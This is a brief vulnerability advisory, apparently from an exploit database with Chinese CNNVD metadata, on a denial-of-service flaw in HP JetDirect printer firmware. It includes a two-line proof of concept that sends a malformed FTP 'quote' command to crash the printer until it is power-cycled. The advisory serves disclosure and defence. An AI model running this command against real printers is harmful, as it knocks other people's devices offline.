https://www.exploit-db.com/exploits/20090
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-051

HPJetDirect打印机G.08.20和H.08.20及其之前版本存在漏洞。远程攻击者借助畸形的FTP引用命令导致服务拒绝。

source: http://www.securityfocus.com/bid/1491/info

HP JetDirect firmware is vulnerable to a Denial of Service attack. JetDirect devices have an FTP service which fails to properly handle bad FTP commands sent with the ftp "quote" command. This causes the device to stop responding and possibly display an error message. Powering the device off and on is required to regain normal functionality. 

ftp <printer address>
quote AAAAAAAAAAA

来源:BID
名称:1491
链接:http://www.securityfocus.com/bid/1491
来源:BUGTRAQ
名称:20000719HPJetdirect-InvalidFTPCommandDoS
链接:http://archives.neohapsis.com/archives/bugtraq/2000-07/0265.html
来源:XF
名称:hp-jetdirect-quote-dos
链接:http://xforce.iss.net/static/4947.php